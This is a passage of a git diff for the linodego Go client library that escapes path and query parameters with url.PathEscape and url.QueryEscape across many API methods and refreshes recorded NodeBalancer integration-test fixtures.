diff --git a/account_oauth_client.go b/account_oauth_client.go
index 1a43b6083..dba898d29 100644
--- a/account_oauth_client.go
+++ b/account_oauth_client.go
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
+ "net/url"
"github.com/go-resty/resty/v2"
)
@@ -119,6 +120,7 @@ func (c *Client) ListOAuthClients(ctx context.Context, opts *ListOptions) ([]OAu
// GetOAuthClient gets the OAuthClient with the provided ID
func (c *Client) GetOAuthClient(ctx context.Context, clientID string) (*OAuthClient, error) {
req := c.R(ctx).SetResult(&OAuthClient{})
+ clientID = url.PathEscape(clientID)
e := fmt.Sprintf("account/oauth-clients/%s", clientID)
r, err := coupleAPIErrors(req.Get(e))
if err != nil {
@@ -153,6 +155,9 @@ func (c *Client) UpdateOAuthClient(ctx context.Context, clientID string, opts OA
}
req := c.R(ctx).SetResult(&OAuthClient{}).SetBody(string(body))
+
+ clientID = url.PathEscape(clientID)
+
e := fmt.Sprintf("account/oauth-clients/%s", clientID)
r, err := coupleAPIErrors(req.Put(e))
if err != nil {
@@ -164,6 +169,7 @@ func (c *Client) UpdateOAuthClient(ctx context.Context, clientID string, opts OA
// DeleteOAuthClient deletes the OAuthClient with the specified id
func (c *Client) DeleteOAuthClient(ctx context.Context, clientID string) error {
+ clientID = url.PathEscape(clientID)
e := fmt.Sprintf("account/oauth-clients/%s", clientID)
_, err := coupleAPIErrors(c.R(ctx).Delete(e))
return err
diff --git a/account_user_grants.go b/account_user_grants.go
index 33b8c15ea..221fb5f7b 100644
--- a/account_user_grants.go
+++ b/account_user_grants.go
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
+ "net/url"
)
type GrantPermissionLevel string
@@ -68,6 +69,7 @@ type UserGrantsUpdateOptions struct {
}
func (c *Client) GetUserGrants(ctx context.Context, username string) (*UserGrants, error) {
+ username = url.PathEscape(username)
e := fmt.Sprintf("account/users/%s/grants", username)
req := c.R(ctx).SetResult(&UserGrants{})
r, err := coupleAPIErrors(req.Get(e))
@@ -84,6 +86,7 @@ func (c *Client) UpdateUserGrants(ctx context.Context, username string, opts Use
return nil, err
}
+ username = url.PathEscape(username)
e := fmt.Sprintf("account/users/%s/grants", username)
req := c.R(ctx).SetResult(&UserGrants{}).SetBody(string(body))
r, err := coupleAPIErrors(req.Put(e))
diff --git a/account_users.go b/account_users.go
index 498ecd766..d9633d881 100644
--- a/account_users.go
+++ b/account_users.go
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
+ "net/url"
"time"
"github.com/go-resty/resty/v2"
@@ -105,6 +106,7 @@ func (c *Client) ListUsers(ctx context.Context, opts *ListOptions) ([]User, erro
// GetUser gets the user with the provided ID
func (c *Client) GetUser(ctx context.Context, userID string) (*User, error) {
+ userID = url.PathEscape(userID)
e := fmt.Sprintf("account/users/%s", userID)
req := c.R(ctx).SetResult(&User{})
r, err := coupleAPIErrors(req.Get(e))
@@ -140,6 +142,7 @@ func (c *Client) UpdateUser(ctx context.Context, userID string, opts UserUpdateO
return nil, err
}
+ userID = url.PathEscape(userID)
e := fmt.Sprintf("account/users/%s", userID)
req := c.R(ctx).SetResult(&User{}).SetBody(string(body))
r, err := coupleAPIErrors(req.Put(e))
@@ -152,6 +155,7 @@ func (c *Client) UpdateUser(ctx context.Context, userID string, opts UserUpdateO
// DeleteUser deletes the User with the specified id
func (c *Client) DeleteUser(ctx context.Context, userID string) error {
+ userID = url.PathEscape(userID)
e := fmt.Sprintf("account/users/%s", userID)
_, err := coupleAPIErrors(c.R(ctx).Delete(e))
return err
diff --git a/client.go b/client.go
index a54531713..5262c8485 100644
--- a/client.go
+++ b/client.go
@@ -166,7 +166,14 @@ func (c *Client) updateHostURL() {
apiProto = c.apiProto
}
- c.resty.SetHostURL(fmt.Sprintf("%s://%s/%s", apiProto, baseURL, apiVersion))
+ c.resty.SetHostURL(
+ fmt.Sprintf(
+ "%s://%s/%s",
+ apiProto,
+ baseURL,
+ url.PathEscape(apiVersion),
+ ),
+ )
}
// SetRootCertificate adds a root certificate to the underlying TLS client config
diff --git a/databases.go b/databases.go
index 8fbb69ffb..5a21aae7d 100644
--- a/databases.go
+++ b/databases.go
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
+ "net/url"
"time"
"github.com/go-resty/resty/v2"
@@ -236,6 +237,7 @@ func (c *Client) ListDatabaseEngines(ctx context.Context, opts *ListOptions) ([]
// GetDatabaseEngine returns a specific Database Engine. This endpoint is cached by default.
func (c *Client) GetDatabaseEngine(ctx context.Context, _ *ListOptions, engineID string) (*DatabaseEngine, error) {
+ engineID = url.PathEscape(engineID)
e := fmt.Sprintf("databases/engines/%s", engineID)
if result := c.getCachedResponse(e); result != nil {
@@ -279,6 +281,7 @@ func (c *Client) ListDatabaseTypes(ctx context.Context, opts *ListOptions) ([]Da
// GetDatabaseType returns a specific Database Type. This endpoint is cached by default.
func (c *Client) GetDatabaseType(ctx context.Context, _ *ListOptions, typeID string) (*DatabaseType, error) {
+ typeID = url.PathEscape(typeID)
e := fmt.Sprintf("databases/types/%s", typeID)
if result := c.getCachedResponse(e); result != nil {
diff --git a/images.go b/images.go
index 46efc59db..5a0d79984 100644
--- a/images.go
+++ b/images.go
@@ -5,6 +5,7 @@ import (
"encoding/json"
"fmt"
"io"
+ "net/url"
"time"
"github.com/go-resty/resty/v2"
@@ -132,6 +133,8 @@ func (c *Client) ListImages(ctx context.Context, opts *ListOptions) ([]Image, er
// GetImage gets the Image with the provided ID
func (c *Client) GetImage(ctx context.Context, imageID string) (*Image, error) {
+ imageID = url.PathEscape(imageID)
+
e := fmt.Sprintf("images/%s", imageID)
req := c.R(ctx).SetResult(&Image{})
r, err := coupleAPIErrors(req.Get(e))
@@ -164,6 +167,8 @@ func (c *Client) UpdateImage(ctx context.Context, imageID string, opts ImageUpda
return nil, err
}
+ imageID = url.PathEscape(imageID)
+
e := fmt.Sprintf("images/%s", imageID)
req := c.R(ctx).SetResult(&Image{}).SetBody(string(body))
r, err := coupleAPIErrors(req.Put(e))
@@ -175,6 +180,7 @@ func (c *Client) UpdateImage(ctx context.Context, imageID string, opts ImageUpda
// DeleteImage deletes the Image with the specified id
func (c *Client) DeleteImage(ctx context.Context, imageID string) error {
+ imageID = url.PathEscape(imageID)
e := fmt.Sprintf("images/%s", imageID)
_, err := coupleAPIErrors(c.R(ctx).Delete(e))
return err
diff --git a/instance_ips.go b/instance_ips.go
index 3e03310d5..376142a99 100644
--- a/instance_ips.go
+++ b/instance_ips.go
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
+ "net/url"
)
// InstanceIPAddressResponse contains the IPv4 and IPv6 details for an Instance
@@ -77,6 +78,7 @@ func (c *Client) GetInstanceIPAddresses(ctx context.Context, linodeID int) (*Ins
// GetInstanceIPAddress gets the IPAddress for a Linode instance matching a supplied IP address
func (c *Client) GetInstanceIPAddress(ctx context.Context, linodeID int, ipaddress string) (*InstanceIP, error) {
+ ipaddress = url.PathEscape(ipaddress)
e := fmt.Sprintf("linode/instances/%d/ips/%s", linodeID, ipaddress)
req := c.R(ctx).SetResult(&InstanceIP{})
r, err := coupleAPIErrors(req.Get(e))
@@ -116,6 +118,8 @@ func (c *Client) UpdateInstanceIPAddress(ctx context.Context, linodeID int, ipAd
return nil, err
}
+ ipAddress = url.PathEscape(ipAddress)
+
e := fmt.Sprintf("linode/instances/%d/ips/%s", linodeID, ipAddress)
req := c.R(ctx).SetResult(&InstanceIP{}).SetBody(string(body))
r, err := coupleAPIErrors(req.Put(e))
@@ -126,6 +130,7 @@ func (c *Client) UpdateInstanceIPAddress(ctx context.Context, linodeID int, ipAd
}
func (c *Client) DeleteInstanceIPAddress(ctx context.Context, linodeID int, ipAddress string) error {
+ ipAddress = url.PathEscape(ipAddress)
e := fmt.Sprintf("linode/instances/%d/ips/%s", linodeID, ipAddress)
_, err := coupleAPIErrors(c.R(ctx).Delete(e))
return err
diff --git a/instances.go b/instances.go
index 7d6c7566e..859ff2717 100644
--- a/instances.go
+++ b/instances.go
@@ -5,6 +5,7 @@ import (
"encoding/json"
"fmt"
"net"
+ "net/url"
"time"
"github.com/go-resty/resty/v2"
@@ -409,6 +410,7 @@ func (c *Client) MigrateInstance(ctx context.Context, id int) error {
// simpleInstanceAction is a helper for Instance actions that take no parameters
// and return empty responses `{}` unless they return a standard error
func (c *Client) simpleInstanceAction(ctx context.Context, action string, linodeID int) error {
+ action = url.PathEscape(action)
e := fmt.Sprintf("linode/instances/%d/%s", linodeID, action)
_, err := coupleAPIErrors(c.R(ctx).Post(e))
return err
diff --git a/kernels.go b/kernels.go
index 06c2fc600..0c4246f5f 100644
--- a/kernels.go
+++ b/kernels.go
@@ -3,6 +3,7 @@ package linodego
import (
"context"
"fmt"
+ "net/url"
"github.com/go-resty/resty/v2"
)
@@ -64,6 +65,7 @@ func (c *Client) ListKernels(ctx context.Context, opts *ListOptions) ([]LinodeKe
// GetKernel gets the kernel with the provided ID. This endpoint is cached by default.
func (c *Client) GetKernel(ctx context.Context, kernelID string) (*LinodeKernel, error) {
+ kernelID = url.PathEscape(kernelID)
e := fmt.Sprintf("linode/kernels/%s", kernelID)
if result := c.getCachedResponse(e); result != nil {
diff --git a/lke_clusters.go b/lke_clusters.go
index f764c7c15..ff9b67659 100644
--- a/lke_clusters.go
+++ b/lke_clusters.go
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
+ "net/url"
"time"
"github.com/go-resty/resty/v2"
@@ -169,6 +170,7 @@ func (c *Client) ListLKEVersions(ctx context.Context, opts *ListOptions) ([]LKEV
// GetLKEVersion gets details about a specific LKE Version. This endpoint is cached by default.
func (c *Client) GetLKEVersion(ctx context.Context, version string) (*LKEVersion, error) {
+ version = url.PathEscape(version)
e := fmt.Sprintf("lke/versions/%s", version)
if result := c.getCachedResponse(e); result != nil {
diff --git a/lke_node_pools.go b/lke_node_pools.go
index 42097f13d..b7e5bc0bb 100644
--- a/lke_node_pools.go
+++ b/lke_node_pools.go
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
+ "net/url"
"github.com/go-resty/resty/v2"
)
@@ -170,6 +171,7 @@ func (c *Client) DeleteLKENodePool(ctx context.Context, clusterID, poolID int) e
// DeleteLKENodePoolNode deletes a given node from a node pool
func (c *Client) DeleteLKENodePoolNode(ctx context.Context, clusterID int, nodeID string) error {
+ nodeID = url.PathEscape(nodeID)
e := fmt.Sprintf("lke/clusters/%d/nodes/%s", clusterID, nodeID)
_, err := coupleAPIErrors(c.R(ctx).Delete(e))
return err
diff --git a/longview_subscriptions.go b/longview_subscriptions.go
index 8b5c4e126..efb3ee126 100644
--- a/longview_subscriptions.go
+++ b/longview_subscriptions.go
@@ -3,6 +3,7 @@ package linodego
import (
"context"
"fmt"
+ "net/url"
"github.com/go-resty/resty/v2"
)
@@ -50,6 +51,7 @@ func (c *Client) ListLongviewSubscriptions(ctx context.Context, opts *ListOption
// GetLongviewSubscription gets the template with the provided ID
func (c *Client) GetLongviewSubscription(ctx context.Context, templateID string) (*LongviewSubscription, error) {
+ templateID = url.PathEscape(templateID)
e := fmt.Sprintf("longview/subscriptions/%s", templateID)
req := c.R(ctx).SetResult(&LongviewSubscription{})
r, err := coupleAPIErrors(req.Get(e))
diff --git a/network_ips.go b/network_ips.go
index 0a704f1c7..5b86883e9 100644
--- a/network_ips.go
+++ b/network_ips.go
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
+ "net/url"
"github.com/go-resty/resty/v2"
)
@@ -78,6 +79,7 @@ func (c *Client) ListIPAddresses(ctx context.Context, opts *ListOptions) ([]Inst
// GetIPAddress gets the template with the provided ID
func (c *Client) GetIPAddress(ctx context.Context, id string) (*InstanceIP, error) {
+ id = url.PathEscape(id)
e := fmt.Sprintf("networking/ips/%s", id)
req := c.R(ctx).SetResult(&InstanceIP{})
r, err := coupleAPIErrors(req.Get(e))
@@ -94,6 +96,7 @@ func (c *Client) UpdateIPAddress(ctx context.Context, id string, opts IPAddressU
return nil, err
}
+ id = url.PathEscape(id)
e := fmt.Sprintf("networking/ips/%s", id)
req := c.R(ctx).SetResult(&InstanceIP{}).SetBody(string(body))
r, err := coupleAPIErrors(req.Put(e))
diff --git a/network_pools.go b/network_pools.go
index 06c13c4bd..36f8b8f99 100644
--- a/network_pools.go
+++ b/network_pools.go
@@ -3,6 +3,7 @@ package linodego
import (
"context"
"fmt"
+ "net/url"
"github.com/go-resty/resty/v2"
)
@@ -40,6 +41,7 @@ func (c *Client) ListIPv6Pools(ctx context.Context, opts *ListOptions) ([]IPv6Ra
// GetIPv6Pool gets the template with the provided ID
func (c *Client) GetIPv6Pool(ctx context.Context, id string) (*IPv6Range, error) {
+ id = url.PathEscape(id)
e := fmt.Sprintf("networking/ipv6/pools/%s", id)
req := c.R(ctx).SetResult(&IPv6Range{})
r, err := coupleAPIErrors(req.Get(e))
diff --git a/network_ranges.go b/network_ranges.go
index 3caa714c7..6a0122372 100644
--- a/network_ranges.go
+++ b/network_ranges.go
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
+ "net/url"
"github.com/go-resty/resty/v2"
)
@@ -48,6 +49,7 @@ func (c *Client) ListIPv6Ranges(ctx context.Context, opts *ListOptions) ([]IPv6R
// GetIPv6Range gets details about an IPv6 range
func (c *Client) GetIPv6Range(ctx context.Context, ipRange string) (*IPv6Range, error) {
+ ipRange = url.PathEscape(ipRange)
e := fmt.Sprintf("networking/ipv6/ranges/%s", ipRange)
req := c.R(ctx).SetResult(&IPv6Range{})
r, err := coupleAPIErrors(req.Get(e))
@@ -75,6 +77,7 @@ func (c *Client) CreateIPv6Range(ctx context.Context, opts IPv6RangeCreateOption
// DeleteIPv6Range deletes an IPv6 Range.
func (c *Client) DeleteIPv6Range(ctx context.Context, ipRange string) error {
+ ipRange = url.PathEscape(ipRange)
e := fmt.Sprintf("networking/ipv6/ranges/%s", ipRange)
_, err := coupleAPIErrors(c.R(ctx).Delete(e))
return err
diff --git a/object_storage_bucket_certs.go b/object_storage_bucket_certs.go
index e8cca26f5..904f2dcda 100644
--- a/object_storage_bucket_certs.go
+++ b/object_storage_bucket_certs.go
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
+ "net/url"
)
type ObjectStorageBucketCert struct {
@@ -22,6 +23,8 @@ func (c *Client) UploadObjectStorageBucketCert(ctx context.Context, clusterID, b
return nil, err
}
+ clusterID = url.PathEscape(clusterID)
+ bucket = url.PathEscape(bucket)
e := fmt.Sprintf("object-storage/buckets/%s/%s/ssl", clusterID, bucket)
req := c.R(ctx).SetResult(&ObjectStorageBucketCert{}).SetBody(string(body))
r, err := coupleAPIErrors(req.Post(e))
@@ -33,6 +36,8 @@ func (c *Client) UploadObjectStorageBucketCert(ctx context.Context, clusterID, b
// GetObjectStorageBucketCert gets an ObjectStorageBucketCert
func (c *Client) GetObjectStorageBucketCert(ctx context.Context, clusterID, bucket string) (*ObjectStorageBucketCert, error) {
+ clusterID = url.PathEscape(clusterID)
+ bucket = url.PathEscape(bucket)
e := fmt.Sprintf("object-storage/buckets/%s/%s/ssl", clusterID, bucket)
req := c.R(ctx).SetResult(&ObjectStorageBucketCert{})
r, err := coupleAPIErrors(req.Get(e))
@@ -44,6 +49,8 @@ func (c *Client) GetObjectStorageBucketCert(ctx context.Context, clusterID, buck
// DeleteObjectStorageBucketCert deletes an ObjectStorageBucketCert
func (c *Client) DeleteObjectStorageBucketCert(ctx context.Context, clusterID, bucket string) error {
+ clusterID = url.PathEscape(clusterID)
+ bucket = url.PathEscape(bucket)
e := fmt.Sprintf("object-storage/buckets/%s/%s/ssl", clusterID, bucket)
_, err := coupleAPIErrors(c.R(ctx).Delete(e))
return err
diff --git a/object_storage_buckets.go b/object_storage_buckets.go
index 9567eac66..060ec985d 100644
--- a/object_storage_buckets.go
+++ b/object_storage_buckets.go
@@ -84,7 +84,7 @@ type ObjectStorageBucketsPagedResponse struct {
func (ObjectStorageBucketsPagedResponse) endpoint(args ...any) string {
endpoint := "object-storage/buckets"
if len(args) > 0 {
- endpoint = fmt.Sprintf(endpoint+"/%s", args[0])
+ endpoint = fmt.Sprintf(endpoint+"/%s", url.PathEscape(args[0].(string)))
}
return endpoint
}
@@ -122,6 +122,7 @@ func (c *Client) ListObjectStorageBucketsInCluster(ctx context.Context, opts *Li
// GetObjectStorageBucket gets the ObjectStorageBucket with the provided label
func (c *Client) GetObjectStorageBucket(ctx context.Context, clusterID, label string) (*ObjectStorageBucket, error) {
label = url.PathEscape(label)
+ clusterID = url.PathEscape(clusterID)
e := fmt.Sprintf("object-storage/buckets/%s/%s", clusterID, label)
req := c.R(ctx).SetResult(&ObjectStorageBucket{})
r, err := coupleAPIErrors(req.Get(e))
@@ -150,6 +151,7 @@ func (c *Client) CreateObjectStorageBucket(ctx context.Context, opts ObjectStora
// GetObjectStorageBucketAccess gets the current access config for a bucket
func (c *Client) GetObjectStorageBucketAccess(ctx context.Context, clusterID, label string) (*ObjectStorageBucketAccess, error) {
label = url.PathEscape(label)
+ clusterID = url.PathEscape(clusterID)
e := fmt.Sprintf("object-storage/buckets/%s/%s/access", clusterID, label)
req := c.R(ctx).SetResult(&ObjectStorageBucketAccess{})
r, err := coupleAPIErrors(req.Get(e))
@@ -168,6 +170,7 @@ func (c *Client) UpdateObjectStorageBucketAccess(ctx context.Context, clusterID,
}
label = url.PathEscape(label)
+ clusterID = url.PathEscape(clusterID)
e := fmt.Sprintf("object-storage/buckets/%s/%s/access", clusterID, label)
_, err = coupleAPIErrors(c.R(ctx).SetBody(string(body)).Post(e))
if err != nil {
diff --git a/object_storage_clusters.go b/object_storage_clusters.go
index c5fbeb587..4e4e3e267 100644
--- a/object_storage_clusters.go
+++ b/object_storage_clusters.go
@@ -3,6 +3,7 @@ package linodego
import (
"context"
"fmt"
+ "net/url"
"github.com/go-resty/resty/v2"
)
@@ -49,6 +50,7 @@ func (c *Client) ListObjectStorageClusters(ctx context.Context, opts *ListOption
// GetObjectStorageCluster gets the template with the provided ID
func (c *Client) GetObjectStorageCluster(ctx context.Context, clusterID string) (*ObjectStorageCluster, error) {
+ clusterID = url.PathEscape(clusterID)
e := fmt.Sprintf("object-storage/clusters/%s", clusterID)
req := c.R(ctx).SetResult(&ObjectStorageCluster{})
r, err := coupleAPIErrors(req.Get(e))
diff --git a/object_storage_object.go b/object_storage_object.go
index f18f03688..4d262f40e 100644
--- a/object_storage_object.go
+++ b/object_storage_object.go
@@ -37,6 +37,7 @@ func (c *Client) CreateObjectStorageObjectURL(ctx context.Context, objectID, lab
}
label = url.PathEscape(label)
+ objectID = url.PathEscape(objectID)
e := fmt.Sprintf("object-storage/buckets/%s/%s/object-url", objectID, label)
req := c.R(ctx).SetResult(&ObjectStorageObjectURL{}).SetBody(string(body))
r, err := coupleAPIErrors(req.Post(e))
@@ -45,6 +46,7 @@ func (c *Client) CreateObjectStorageObjectURL(ctx context.Context, objectID, lab
func (c *Client) GetObjectStorageObjectACLConfig(ctx context.Context, objectID, label, object string) (*ObjectStorageObjectACLConfig, error) {
label = url.PathEscape(label)
+ object = url.QueryEscape(object)
e := fmt.Sprintf("object-storage/buckets/%s/%s/object-acl?name=%s", objectID, label, object)
req := c.R(ctx).SetResult(&ObjectStorageObjectACLConfig{})
r, err := coupleAPIErrors(req.Get(e))
diff --git a/regions.go b/regions.go
index 24970dd4f..f4210383e 100644
--- a/regions.go
+++ b/regions.go
@@ -3,6 +3,7 @@ package linodego
import (
"context"
"fmt"
+ "net/url"
"time"
"github.com/go-resty/resty/v2"
@@ -74,7 +75,7 @@ func (c *Client) ListRegions(ctx context.Context, opts *ListOptions) ([]Region,
// GetRegion gets the template with the provided ID. This endpoint is cached by default.
func (c *Client) GetRegion(ctx context.Context, regionID string) (*Region, error) {
- e := fmt.Sprintf("regions/%s", regionID)
+ e := fmt.Sprintf("regions/%s", url.PathEscape(regionID))
if result := c.getCachedResponse(e); result != nil {
result := result.(Region)
diff --git a/tags.go b/tags.go
index 396708e2f..f22208ec4 100644
--- a/tags.go
+++ b/tags.go
@@ -83,7 +83,7 @@ type TaggedObjectsPagedResponse struct {
// endpoint gets the endpoint URL for Tag
func (TaggedObjectsPagedResponse) endpoint(ids ...any) string {
- id := ids[0].(string)
+ id := url.PathEscape(ids[0].(string))
return fmt.Sprintf("tags/%s", id)
}
diff --git a/test/integration/example_nodebalancers_test.go b/test/integration/example_nodebalancers_test.go
index 73210fa8c..02b755441 100644
--- a/test/integration/example_nodebalancers_test.go
+++ b/test/integration/example_nodebalancers_test.go
@@ -154,7 +154,7 @@ func ExampleClient_CreateNodeBalancerNode() {
booted := false
instanceOpts := linodego.InstanceCreateOptions{
Label: "nodebalancer-example-instance",
- RootPass: "R34lBAdP455",
+ RootPass: "R34lBAdP455!!!",
Region: "us-southeast",
Type: "g6-nanode-1",
Image: "linode/debian9",
diff --git a/test/integration/fixtures/ExampleCreateNodeBalancer.yaml b/test/integration/fixtures/ExampleCreateNodeBalancer.yaml
index 948c73dc4..346fd4b31 100644
--- a/test/integration/fixtures/ExampleCreateNodeBalancer.yaml
+++ b/test/integration/fixtures/ExampleCreateNodeBalancer.yaml
@@ -14,8 +14,8 @@ interactions:
url: https://api.linode.com/v4beta/nodebalancers
method: POST
response:
- body: '{"id": 259599, "label": "balancer259599", "region": "us-southeast", "hostname":
- "139-144-164-54.ip.linodeusercontent.com", "ipv4": "139.144.164.54", "ipv6":
+ body: '{"id": 357846, "label": "balancer357846", "region": "us-southeast", "hostname":
+ "139-144-255-40.ip.linodeusercontent.com", "ipv4": "139.144.255.40", "ipv6":
"1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null,
"total": null}}'
@@ -70,11 +70,11 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259599
+ url: https://api.linode.com/v4beta/nodebalancers/357846
method: GET
response:
- body: '{"id": 259599, "label": "balancer259599", "region": "us-southeast", "hostname":
- "139-144-164-54.ip.linodeusercontent.com", "ipv4": "139.144.164.54", "ipv6":
+ body: '{"id": 357846, "label": "balancer357846", "region": "us-southeast", "hostname":
+ "139-144-255-40.ip.linodeusercontent.com", "ipv4": "139.144.255.40", "ipv6":
"1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null,
"total": null}}'
@@ -122,7 +122,7 @@ interactions:
code: 200
duration: ""
- request:
- body: '{"label":"balancer259599_renamed","client_conn_throttle":20,"tags":[]}'
+ body: '{"label":"balancer357846_renamed","client_conn_throttle":20,"tags":[]}'
form: {}
headers:
Accept:
@@ -131,11 +131,11 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259599
+ url: https://api.linode.com/v4beta/nodebalancers/357846
method: PUT
response:
- body: '{"id": 259599, "label": "balancer259599_renamed", "region": "us-southeast",
- "hostname": "139-144-164-54.ip.linodeusercontent.com", "ipv4": "139.144.164.54",
+ body: '{"id": 357846, "label": "balancer357846_renamed", "region": "us-southeast",
+ "hostname": "139-144-255-40.ip.linodeusercontent.com", "ipv4": "139.144.255.40",
"ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in":
null, "out": null, "total": null}}'
@@ -190,7 +190,7 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259599
+ url: https://api.linode.com/v4beta/nodebalancers/357846
method: DELETE
response:
body: '{}'
diff --git a/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml b/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml
index 9aee33b1d..9336754d8 100644
--- a/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml
+++ b/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml
@@ -14,8 +14,8 @@ interactions:
url: https://api.linode.com/v4beta/nodebalancers
method: POST
response:
- body: '{"id": 259600, "label": "balancer259600", "region": "us-southeast", "hostname":
- "66-228-63-53.ip.linodeusercontent.com", "ipv4": "66.228.63.53", "ipv6": "1234::5678",
+ body: '{"id": 357847, "label": "balancer357847", "region": "us-southeast", "hostname":
+ "45-79-245-144.ip.linodeusercontent.com", "ipv4": "45.79.245.144", "ipv6": "1234::5678",
"created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle":
20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}'
headers:
@@ -32,7 +32,7 @@ interactions:
Cache-Control:
- private, max-age=60, s-maxage=60
Content-Length:
- - "340"
+ - "342"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -69,14 +69,14 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259600/configs
+ url: https://api.linode.com/v4beta/nodebalancers/357847/configs
method: POST
response:
- body: '{"id": 387286, "port": 80, "protocol": "http", "algorithm": "roundrobin",
+ body: '{"id": 550599, "port": 80, "protocol": "http", "algorithm": "roundrobin",
"stickiness": "none", "check": "none", "check_interval": 30, "check_timeout":
5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive":
true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id":
- 259600, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key":
+ 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key":
null, "nodes_status": {"up": 0, "down": 0}}'
headers:
Access-Control-Allow-Credentials:
@@ -129,14 +129,14 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259600/configs/387286
+ url: https://api.linode.com/v4beta/nodebalancers/357847/configs/550599
method: PUT
response:
- body: '{"id": 387286, "port": 8080, "protocol": "http", "algorithm": "roundrobin",
+ body: '{"id": 550599, "port": 8080, "protocol": "http", "algorithm": "roundrobin",
"stickiness": "none", "check": "none", "check_interval": 30, "check_timeout":
5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive":
true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id":
- 259600, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key":
+ 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key":
null, "nodes_status": {"up": 0, "down": 0}}'
headers:
Access-Control-Allow-Credentials:
@@ -189,14 +189,14 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259600/configs
+ url: https://api.linode.com/v4beta/nodebalancers/357847/configs
method: GET
response:
- body: '{"data": [{"id": 387286, "port": 8080, "protocol": "http", "algorithm":
+ body: '{"data": [{"id": 550599, "port": 8080, "protocol": "http", "algorithm":
"roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout":
5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive":
true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id":
- 259600, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key":
+ 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key":
null, "nodes_status": {"up": 0, "down": 0}}], "page": 1, "pages": 1, "results":
1}'
headers:
@@ -252,14 +252,14 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259600/configs/387286
+ url: https://api.linode.com/v4beta/nodebalancers/357847/configs/550599
method: GET
response:
- body: '{"id": 387286, "port": 8080, "protocol": "http", "algorithm": "roundrobin",
+ body: '{"id": 550599, "port": 8080, "protocol": "http", "algorithm": "roundrobin",
"stickiness": "none", "check": "none", "check_interval": 30, "check_timeout":
5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive":
true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id":
- 259600, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key":
+ 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key":
null, "nodes_status": {"up": 0, "down": 0}}'
headers:
Access-Control-Allow-Credentials:
@@ -314,7 +314,7 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259600/configs/387286
+ url: https://api.linode.com/v4beta/nodebalancers/357847/configs/550599
method: DELETE
response:
body: '{}'
@@ -369,7 +369,7 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259600
+ url: https://api.linode.com/v4beta/nodebalancers/357847
method: DELETE
response:
body: '{}'
diff --git a/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml b/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml
index 0b2c8113a..e869b4555 100644
--- a/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml
+++ b/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml
@@ -14,11 +14,10 @@ interactions:
url: https://api.linode.com/v4beta/nodebalancers
method: POST
response:
